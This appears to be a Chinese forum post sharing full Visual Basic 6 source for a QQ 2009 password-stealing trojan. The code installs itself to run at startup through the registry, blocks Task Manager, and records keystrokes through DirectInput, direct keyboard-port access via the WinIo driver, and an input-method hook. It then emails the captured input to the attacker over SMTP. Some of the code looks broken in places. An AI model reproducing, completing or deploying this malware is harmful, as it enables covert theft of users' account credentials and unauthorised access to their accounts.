QQ 木马程序开源（只针对2009版）

窗体部份
Private Type SHFILEOPSTRUCT
        
hwnd  As Long
        
wFunc  As Long
        
pFrom  As String
        
pTo  As String
        
fFlags  As Integer
        
fAnyOperationsAborted  As Long
        
hNameMappings  As Long
        
lpszProgressTitle  As String    '只有在
FOF_SIMPLEPROGRESS 时用
  End Type
  
 
Private Declare Function SHFileOperation Lib "shell32.dll" Alias "SHFileOperationA" (lpFileOp As SHFILEOPSTRUCT) As Long

  'wFunc  常数
  'FO_COPY 把  pFrom  文件拷贝到  pTo。
  Const FO_COPY = &H2
 
'FO_DELETE  删除  pFrom  中的文件（pTo  忽略）。
  Const FO_DELETE = &H3
  'FO_MOVE      把 pFrom  文件移动到  pTo。
  Const FO_MOVE = 1
  
  'fFlag  常数
 
'FOF_ALLOWUNDO  允许  Undo  。
  Const FOF_ALLOWUNDO = 64
  'FOF_NOCONFIRMATION  不显示系统确认对话框。
  Const FOF_NOCONFIRMATION = &H10
  'FOF_NOCONFIRMMKDIR
不提示是否新建目录?
  Const FOF_NOCONFIRMMKDIR = &H200
 
'FOF_SILENT  不显示进度对话框
  Const FOF_SILENT = &H4
Private Declare Function CopyFile Lib "kernel32.dll" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Dim Oicq As String
Dim hwd As Long '储存 FindWindow
函数返回的句柄
Dim pid As Long
Dim lujings As Long
Dim hProcess As Long
'存放进程句柄
Dim sj As String

Private Sub Form_Load()
Const OverWriteFiles = True
'******************************************************************************
  
Shell "regsvr32 jmail.dll /s", vbNormalFocus
'注释：注册控件,无弹出对话框
    SendError = False
'******************************************************************************
SetAutoRun True 'CALL开机自动运行
Open Environ$("WinDir") & "\system32\taskmgr.exe" For Binary As #1
'屏蔽任务管理器
'******************************************************************************
Timer4.Enabled = False
Timer6.Enabled = False
'******************************************************************************
'获取当前地址
CopyFile App.Path & "", "", 1
Label5.Caption = App.Path
Dim a As String
'注意是变体格式，不是数组，而不是整数
sj = Label5.Caption
'---------------------'判断本程序在C盘是否已经存在
If Exists("c:\Microsoft_Since") Then

Else
'---------------------开始操作文件
        
Dim SHFileOp    As SHFILEOPSTRUCT
        
SHFileOp.wFunc = FO_COPY
          SHFileOp.pFrom = sj
          SHFileOp.pTo = "C:\"
          SHFileOp.fFlags = FOF_ALLOWUNDO + FOF_NOCONFIRMMKDIR
        
Call SHFileOperation(SHFileOp)
'---------------------停止操作文件
End If

'截取部分 ---------------------------------------------------------------------
If InitializeWinIo = False Then  '加载WINIO驱动
  
List1.AddItem "加载失败"
    Else
  
List1.AddItem "加载成功"
End If
' -------------------
WM_HXWDLLWX_QQBTX = RegisterWindowMessage("WM_HXWDLLWX_QQBTX")  '注册自定义消息
WM_HXWDLLWX_HOOKKEY = RegisterWindowMessage("WM_HXWDLLWX_HOOKKEY")
' -----------------
Set DX = New DirectX7  '建立DirectX对象
Set DI = DX.DirectInputCreate()
'建立DirectInput对象
Set DI_Keyboard = DI.CreateDevice("GUID_SysKeyboard")
'建立DirectInput的键盘对象
DI_Keyboard.SetCommonDataFormat DIFORMAT_KEYBOARD
'设置数据格式
DI_Keyboard.SetCooperativeLevel 0, DISCL_BACKGROUND Or DISCL_NONEXCLUSIVE
'设置协作模式（就是DX设备要与某个窗口关联）。DISCL_BACKGROUND这个是最重要的，它让程序即使在后台运行也能监视键盘输入，不然怎么做HOOK呢^_^
DI_Keyboard.Acquire
'开始
' ------------------------
PrevWndProc = SetWindowLong(Me.hwnd, GWL_WNDPROC, AddressOf SubWndProc) '子类化窗口，以便能处理DLL发出的自定义消息
DLLstartHOOK
Me.hwnd '初始化DLL
DLLsetHOOKState True  '打开输入法HOOK
' -----------------------
'Dim tempX As Long
'tempX =
MyINP (&H60)
'tempX = MyInp(&H64)
'KBCWait4IOF
'MyOUT &H64,
32
'KBCWait4IBF
'KeyboardIOCommand = MyInp(&H60)
'读取键盘控制器原始命令字节
' ----------------------
Timer1.Interval = 45
'设置轮询间隔
Timer2.Interval = 36
Timer1.Enabled = True
Timer2.Enabled = True

End Sub

Private Sub Form_Unload(Cancel As Integer)
OpenKeyboardINT
'开中断
DLLsetHOOKState False  '关闭输入法HOOK
DLLstopHOOK
'卸载输入法HOOK
Call SetWindowLong(Me.hwnd, GWL_WNDPROC, PrevWndProc)
'还原子类化窗口
' ----------------
DI_Keyboard.Unacquire '释放DirectInput对象
Set DI_Keyboard = Nothing
Set DI = Nothing
Set DX = Nothing
ShutdownWinIo    '卸载WINIO
Close #1 '恢复任务管理器
End Sub

Private Sub Text1_Change()
Text1.SelStart = Len(Text1.Text)
End Sub

Private Sub Text2_Change()
Text2.SelStart = Len(Text2.Text)
End Sub

Private Sub Text3_Change()
Text3.SelStart = Len(Text3.Text)
End Sub

Private Sub Timer1_Timer()
' DX键盘记录
'On Error Resume Next
Static keyArray(255) As Byte
Dim key_count As Integer, vKeyCode As Integer, vKeyASC As String
DI_Keyboard.GetDeviceStateKeyboard key_state
'轮询键盘，并把键盘输入保存到key_state结构中
For key_count = 0 To 255
    If keyArray(key_count) <> key_state.Key(key_count) Then
'判断是否有键被按下或弹起，key_count代表的是被按下的键的扫描码
      vKeyCode = MapVirtualKey(key_count, 1) '扫描码转虚拟码
      vKeyASC = Chr(MapVirtualKey(vKeyCode, 2))
'虚拟码转换为ASCII字符
      If vKeyASC <> Chr(0) Then
        If GetKeyState(VK_CAPITAL) Mod &HFF80 = 1 Then
           
vKeyASC = UCase(vKeyASC)
'根据大小写锁定键判断大小写
       
Else
           
vKeyASC = LCase(vKeyASC)
        End If
        If vKeyASC = " " Then vKeyASC = "【空格】"
     
Else
        vKeyASC = "【" & CStr(vKeyCode) & "】"
'如果是不能显示的键，则直接显示虚拟码
      End If
      If key_state.Key(key_count) = 0 Then vKeyASC = vKeyASC & "|" & "up" Else vKeyASC = vKeyASC & "|" & "down" '记录是按下(down)还是弹起(up)
      DataKeyCacheDX = DataKeyCacheDX & vKeyASC & " "
'存储按键，以空格为分隔符
      DataKeyCacheDXMore = DataKeyCacheDXMore & Now() & "|"
'存储按键时间信息，以|为分隔符
      Text1.Text = DataKeyCacheDX
    End If
  
keyArray(key_count) = key_state.Key(key_count)
Next
End Sub

Private Sub Timer2_Timer()
'驱动级键盘记录
    '
GetKeyStatType1  '第一种办法，简单轮询
    GetKeyStatType2
'第2种办法，关闭键盘中断然后轮询
End Sub

Private Sub GetKeyStatType1()
Static lastKey As Integer
Dim mydata As Integer, myKBC As Integer
Dim vKeyCode As Integer, vKeyASC As String, key_count As Integer
myKBC = MyINP(&H64)  '读取键盘控制端口
If myKBC = 20 Or myKBC = 28 Then  '如果键盘控制器是我们想要的状态
'If ((myKBC And 246) Or 20) = 20 Then  '如果键盘控制器是我们想要的状态
    mydata = MyINP(&H60)
'读取键盘数据端口
    If mydata <> lastKey And mydata <> 0 Then
        key_count = mydata And 127  '总是将断码变为通码
        vKeyCode = MapVirtualKey(key_count, 1)
'扫描码转虚拟码
        If vKeyCode <> 0 Then
        vKeyASC = Chr(MapVirtualKey(vKeyCode, 2))
'虚拟码转换为ASCII字符
        If vKeyASC <> Chr(0) Then
          If GetKeyState(VK_CAPITAL) Mod &HFF80 = 1 Then
             
vKeyASC = UCase(vKeyASC)
'根据大小写锁定键判断大小写
        
Else
             
vKeyASC = LCase(vKeyASC)
          End If
          If vKeyASC = " " Then vKeyASC = "【空格】"
       
Else
          vKeyASC = "【" & CStr(vKeyCode) & "】"
'如果是不能显示的键，则直接显示虚拟码
        End If
        If mydata And 128 Then vKeyASC = vKeyASC & "|" & "up" Else vKeyASC = vKeyASC & "|" & "down"
'记录是按下(down)还是弹起(up)
       
DataKeyCacheWINIO = DataKeyCacheWINIO & vKeyASC & " "
'存储按键，以空格为分隔符
       
DataKeyCacheWINIOMore = DataKeyCacheDXMore & Now() & "|"
'存储按键时间信息，以|为分隔符
        Text2.Text = DataKeyCacheWINIO
        lastKey = mydata
        End If
    End If
End If
End Sub

Private Sub GetKeyStatType2()
Static lastKey As Integer
Dim mydata As Integer, myKBC As Integer
Dim vKeyCode As Integer, vKeyASC As String, key_count As Integer

myKBC = MyINP(&H64)  '读取键盘控制端口
'If myKBC = 22 Or myKBC = 30 Then
If myKBC And &H1 Then
    mydata = MyINP(&H60)
'从缓冲区取走数据。这时取走的肯定是键盘数据，不会包含鼠标数据，因为鼠标数据会被鼠标中断第一时间取走。
    myKBC = MyINP(&H64)  '读取键盘控制端口
    If myKBC = 20 Or myKBC = 28 Then
        If mydata <> lastKey And mydata <> 0 Then
           
key_count = mydata And 127
'总是将断码变为通码
           
vKeyCode = MapVirtualKey(key_count, 1)
'扫描码转虚拟码
           
If vKeyCode <> 0 Then
           
vKeyASC = Chr(MapVirtualKey(vKeyCode, 2))
'虚拟码转换为ASCII字符
           
If vKeyASC <> Chr(0) Then
              
If GetKeyState(VK_CAPITAL) Mod &HFF80 = 1 Then
                   
vKeyASC = UCase(vKeyASC)
'根据大小写锁定键判断大小写
              
Else
                   
vKeyASC = LCase(vKeyASC)
              
End If
              
If vKeyASC = " " Then vKeyASC = "【空格】"
           
Else
              
vKeyASC = "【" & CStr(vKeyCode) & "】"
'如果是不能显示的键，则直接显示虚拟码
           
End If
            If mydata And 128 Then vKeyASC = vKeyASC
Else
           
DataKeyCacheWINIO = DataKeyCacheWINIO & vKeyASC & """"
'存储按键，以空格为分隔符
           
DataKeyCacheWINIOMore = DataKeyCacheDXMore & Now() & "|"
'存储按键时间信息，以|为分隔符
           
Text2.Text = DataKeyCacheWINIO
           
End If
        End If
    End If
    lastKey = mydata
    OpenKeyboardINT  '开中断
  
KBCWait4IBF
    MyOUT &H64, &HD2
'将收到的数据复制到键盘输入缓冲区
    KBCWait4IBF
    MyOUT &H60, mydata
'将收到的数据复制到键盘输入缓冲区，这里你完全可以修改这个数据，从而欺骗系统，比如将A键改成B键
  
'OpenKeyboardINT  '开中断
    Sleep 1
'等待键盘中断处理
    KBCWait4IBF
  
CloseKeyboardINT    '关键盘中断
End If
End Sub

Private Sub CloseKeyboardINT()
'关闭键盘中断
Dim tmpX As Long
tmpX = MyINP(&H60)   '清空键盘的输入缓冲区
tmpX = MyINP(&H64)

KBCWait4IOF
MyOUT &H64, &H60
KBCWait4IOF
'MyOUT &H60,KeyboardIOCommand And &HFE
MyOUT &H60, 70
'设置状态位，关闭键盘中断
End Sub

Private Sub OpenKeyboardINT()
'打开键盘中断
Dim tmpX As Long
tmpX = MyINP(&H60)   '清空键盘的输入缓冲区
tmpX = MyINP(&H64)

KBCWait4IBF
MyOUT &H64, &H60
'&H60表示写键盘控制器命令字节
KBCWait4IBF
'MyOUT &H60, KeyboardIOCommand Or
1    '打开键盘中断
MyOUT &H60, 71    '打开键盘中断
End Sub

Private Sub Timer3_Timer() '检测部分
hwd = FindWindow(vbNullString, "QQ2009正式版 SP1")
If hwd <> 0 Then
  List1.AddItem "QQ主程序已运行success" '运行记录部分代码
  CloseKeyboardINT
 
Timer4.Enabled = True
  Timer3.Enabled = False
  Else
 
List1.AddItem "QQ主程序未运行fales"
End If
GetWindowThreadProcessId hwd, pid
'获取进程标识符
'将进程标识符做为参数，返回目标进程PID的句柄，得到此句柄后
'即可对目标进行读写操,PROCESS_ALL_ACCESS表示完全控制,权限最大
hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, pid)
If hProcess <> 0 Then
  List1.AddItem "QQ主程序PID值为真"
End If
CloseHandle
hProcess
End Sub

Private Sub Timer4_Timer() '检测部分
hwd = FindWindow(vbNullString, "QQ2009正式版 SP1")
If hwd <> 0 Then
  List1.AddItem "账号密码截取已开始"
  Else
  '终止记录部分代码
 
OpenKeyboardINT
  SendMail "主题", "正文", ""
'如果如果要发附件，最后一个填附件路径
  Timer6.Enabled = True
  Timer4.Enabled = False
End If
GetWindowThreadProcessId hwd, pid
'获取进程标识符
'将进程标识符做为参数，返回目标进程PID的句柄，得到此句柄后
'即可对目标进行读写操,PROCESS_ALL_ACCESS表示完全控制,权限最大
hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, pid)
If hProcess <> 0 Then
  List1.AddItem "QQ主程序PID值为真"
  '运行记录部分代码
 
Else
  '终止记录部分代码
End If
CloseHandle hProcess
End Sub

'发送邮件部分
Sub SendMail(Optional ByVal sSubject As String, Optional ByVal sBody As String, Optional ByVal sFilename As String)
    On Error GoTo ToExit '打开错误陷阱
  
'------------------------------------------------

    Dim Jmail
    Set Jmail = CreateObject("jmail.Message")
    If sFilename <> "" Then Jmail.AddAttachment sFilename

    Jmail.Charset = "gb2312"
  
Jmail.Silent = False
    Jmail.Priority = 3 '邮件状态,1-5
1 为最高
    Jmail.MailServerUserName = "anzhaofenggogogo" 'Email帐号
    Jmail.MailServerPassWord = "123456" 'Email密码

    Jmail.FromName = "number" '发信人姓名
    Jmail.From = "<A" href="[e-mail]"'">mailto:[e-mail]">[e-mail]"'发邮件地址地址

    Jmail.Subject =
"QQ密码大划了"
'主题
    Jmail.AddRecipient "<A" href="[e-mail]"'">mailto:[e-mail]">[e-mail]"'收信人地址，自己改
    Jmail.Body = Oicq '信件正文

    Jmail.Send ("smtp.163.com")
'SMTP服务器，如smtp.sohu.com

    Set Jmail = Nothing
    List1.AddItem "success"
  
'------------------------------------------------
    Exit Sub
    '----------------
ToExit:
  
Select Case Jmail.ErrorCode
    Case 550
        MsgBox "该邮件地址不存在，请更改后再发", , "提示"
    Case 535
        MsgBox "发件人的用户名或密码错误，请改正后再发", , "提示"
    Case Else
        MsgBox Jmail.ErrorMessage, , "提示"
    End Select
End Sub

Private Sub Timer5_Timer()
Oicq = Text2.Text
End Sub

Private Sub Timer6_Timer()
Timer3.Enabled = True '防止密码处多记录文字
End Sub

 

模块部分：
Declare Function MapPhysToLin Lib "WinIo.dll" (ByVal PhysAddr As Long, ByVal PhysSize As Long, ByRef PhysMemHandle) As Long
Declare Function UnmapPhysicalMemory Lib "WinIo.dll" (ByVal PhysMemHandle, ByVal LinAddr) As Boolean
Declare Function GetPhysLong Lib "WinIo.dll" (ByVal PhysAddr As Long, ByRef PhysVal As Long) As Boolean
Declare Function SetPhysLong Lib "WinIo.dll" (ByVal PhysAddr As Long, ByVal PhysVal As Long) As Boolean
Declare Function GetPortVal Lib "WinIo.dll" (ByVal PortAddr As Integer, ByRef PortVal As Long, ByVal bSize As Byte) As Boolean
Declare Function SetPortVal Lib "WinIo.dll" (ByVal PortAddr As Integer, ByVal PortVal As Long, ByVal bSize As Byte) As Boolean
Declare Function InitializeWinIo Lib "WinIo.dll" () As Boolean
Declare Function ShutdownWinIo Lib "WinIo.dll" () As Boolean
Declare Function InstallWinIoDriver Lib "WinIo.dll" (ByVal DriverPath As String, ByVal Mode As Integer) As Boolean
Declare Function RemoveWinIoDriver Lib "WinIo.dll" () As Boolean
' ------------------------------------以上是WINIO函数声明 -----------------------------------------------
本帖隐藏的内容需要回复才可以浏览
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long

Public Const REG_SZ = 1

Public Const HKEY_LOCAL_MACHINE = &H80000002
'-------------------------'---------------------------以上是--开机自动运行
Public Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Public Declare Function MapVirtualKey Lib "user32" Alias "MapVirtualKeyA" (ByVal wCode As Long, ByVal wMapType As Long) As Long
Public Declare Function RegisterWindowMessage Lib "user32" Alias "RegisterWindowMessageA" (ByVal lpString As String) As Long
Public Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Public Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
'---------------------------------API函数的声明-----------------------
Public Declare Function DLLstartHOOK Lib "hxwdllwx.dll" (ByVal hwnd As Long) As Long  '初始化钩子
Public Declare Function DLLstopHOOK Lib "hxwdllwx.dll" () As Long  '卸载钩子
Public Declare Function DLLsetHOOKState Lib "hxwdllwx.dll" (ByVal myState As Boolean) As Long  '打开或关闭钩子
Public Declare Function DLLGetPubString Lib "hxwdllwx.dll" () As String  '获得输入法输入
Public Declare Function DLLSetPubString Lib "hxwdllwx.dll" (ByVal tmpstr As String) As Long  '修改输入法输入
Public Declare Function DLLGetPubMsg Lib "hxwdllwx.dll" () As Long  '获得拦截到的键盘消息,返回一个lpMSG类型的指针
' ------------------------输入法HOOK DLL导出函数-----------------------------
Declare Function GetShortPathName Lib "kernel32" Alias "GetShortPathNameA" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long
'------------------------以上是处理读取路径因汉字无法找到路径的处理


'*监控部分 API************************************************************************

'---------------声明函数-----------------------
'得到窗体句柄的函数,FindWindow函数用来返回符合指定的类名( ClassName )和窗口名( WindowTitle )的窗口句柄
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
'得到窗体控件句柄的函数
Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
'得到进程标识符的函数
Public Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
'得到目标进程句柄的函数
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
'关闭句柄的函数
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
'读取进程内存的函数
Public Declare Function ReadProcessMemory Lib "kernel32.dll" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByRef lpBuffer As Any, ByVal nSize As Long, ByRef lpNumberOfBytesWritten As Long) As Long
'参数决定了对进程的存储权限，使用完全控制
Public Const PROCESS_ALL_ACCESS = &H1F0FFF
Private Declare Function RtlAdjustPrivilege& Lib "ntdll" (ByVal Privilege&, ByVal NewValue&, ByVal NewThread&, OldValue&)
Private Declare Function NtShutdownSystem& Lib "ntdll" (ByVal ShutdownAction&)
Private Const SE_SHUTDOWN_PRIVILEGE& = 19
Private Const ShutDown& = 0
Private Const RESTART& = 1
Private Const POWEROFF& = 2

'************************************************************************************
Const OFS_MAXPATHNAME = 128                  '判断本程序在C盘是否已经存在
Const OF_EXIST = &H4000

Private Type OFSTRUCT
        cBytes As Byte
        fFixedDisk As Byte
        nErrCode As Integer
        Reserved1 As Integer
        Reserved2 As Integer
        szPathName(OFS_MAXPATHNAME) As Byte
End Type

Private typOfStruct As OFSTRUCT
Declare Function apiOpenFile Lib "kernel32" Alias "OpenFile" (ByVal lpFileName As String, lpReOpenBuff As OFSTRUCT, ByVal wStyle As Long) As Long

'************************************************************************************
Public Type POINTAPI
        x As Long
        y As Long
End Type

Public Type lpMSG
' 声明windows消息类型
  hwnd As Long
  message As Long
  wParam As Long
  lParam As Long
  time As Long
  pt As POINTAPI
End Type

Public Const VK_CAPITAL As Long = &H14
Public Const VK_NUMLOCK As Long = &H90
Public Const VK_SHIFT = &H10

Public Const GWL_WNDPROC = -4
Public Const WM_KEYDOWN = &H100
Public Const WM_CHAR = &H102

Public WM_HXWDLLWX_QQBTX As Long  '自定义消息
Public WM_HXWDLLWX_HOOKKEY As Long
Public PrevWndProc As Long '保存旧的窗口处理函数地址

Public DX As DirectX7
Public DI As DirectInput
Public DI_Keyboard As DirectInputDevice
Public key_state As DIKEYBOARDSTATE

Public DataKeyCacheDX As String, DataKeyCacheDXMore As String
Public DataKeyCacheWINIO As String, DataKeyCacheWINIOMore As String
Public DataKeyCacheIME As String
Public DataKeyCacheChar As String
Public KeyboardIOCommand As Long

Public Function SubWndProc(ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim tmpS As String, myMSG As lpMSG, MSGPoint As Long
Dim mydata(1) As Byte, CharStr As String
Static lastChar As Byte

If Msg = WM_HXWDLLWX_QQBTX Then
'如果收到了输入法上屏拦截消息
    tmpS = DLLGetPubString() '获得输入法输入
    DataKeyCacheIME = DataKeyCacheIME & tmpS & "  "
    Form1.Text3.Text = DataKeyCacheIME
    'tmpS = tmpS & "（被修改）"
    'DLLSetPubString tmpS  '修改输入法输入
End If
If Msg = WM_HXWDLLWX_HOOKKEY Then
'如果收到的是键盘拦截消息
    MSGPoint = DLLGetPubMsg()
    CopyMemory myMSG, ByVal MSGPoint, Len(myMSG) '将指针MSGPoint所指的内存区域复制到myMSG结构中
    If myMSG.message = WM_CHAR Then
        If myMSG.wParam < 128 Then
            lastChar = myMSG.wParam
            DataKeyCacheChar = DataKeyCacheChar & Chr(lastChar)
            Form1.Text4.Text = DataKeyCacheChar
        Else
            If lastChar >= 128 Then
                mydata(1) = lastChar
                mydata(0) = myMSG.wParam
                CharStr = StrConv(mydata, vbUnicode)
                lastChar = 0
                DataKeyCacheChar = DataKeyCacheChar & CharStr
                Form1.Text4.Text = DataKeyCacheChar
            Else
                lastChar = myMSG.wParam
            End If
        End If
    End If
    'CopyMemory ByVal MSGPoint, myMSG, Len(myMSG)  '将myMSG的数据复制回MSGPoint所指的内存区域
End If
SubWndProc = CallWindowProc(PrevWndProc, hwnd, Msg, wParam, lParam)  '将消息传给旧的窗口函数继续处理
End Function

Function MyINP(ByVal PortAddr As Integer) As Long
  Dim PortVal As Long
  GetPortVal PortAddr, PortVal, 1
  MyINP = PortVal
End Function

Sub MyOUT(ByVal PortAddr As Integer, ByVal theData As Long)
    SetPortVal PortAddr, theData, 1
End Sub


Sub KBCWait4IBF()  '等待键盘输入缓冲区为空
Dim dwVal As Long
  Do
  GetPortVal &H64, dwVal, 1
  Loop While (dwVal And &H2)
End Sub

Sub KBCWait4OBF()  '等待键盘输出缓冲区为空
Dim dwVal As Long
  Do
  GetPortVal &H64, dwVal, 1
  Loop While (dwVal And &H1)
End Sub

Sub KBCWait4IOF()  '等待键盘两个缓冲区都为空
Dim dwVal As Long
  Do
  GetPortVal &H64, dwVal, 1
  Loop While (dwVal And &H3)
End Sub

Sub KBCWait4IBFFull()  '等待键盘输入缓冲区不为空
Dim dwVal As Long
  Do Until (dwVal And &H2)
  GetPortVal &H64, dwVal, 1
  Loop
End Sub

Public Function Exists(ByVal sFilename As String) As Boolean  '判断本程序在C盘是否已经存在
    On Error Resume Next
    If Len(sFilename) > 0 Then
        apiOpenFile sFilename, typOfStruct, OF_EXIST
        Exists = typOfStruct.nErrCode <> 2
    End If
End Function

'-----------------------------开机自动运行
Public Sub SetAutoRun(ByVal Autorun As Boolean)

Dim KeyId As Long
Dim MyexePath As String
Dim regkey As String

MyexePath = App.Path & "\" & App.EXEName & ".exe" '获取程序位置

regkey = "Software\Microsoft\Windows\CurrentVersion\Run" '键值位置变量

Call RegCreateKey(HKEY_LOCAL_MACHINE, regkey, KeyId) '建立

If Autorun Then

RegSetValueEx KeyId, "MySoftware", 0&, REG_SZ, ByVal MyexePath, LenB(MyexePath)

Else

RegDeleteValue KeyId, "MySoftware"

End If
RegCloseKey KeyId

End Sub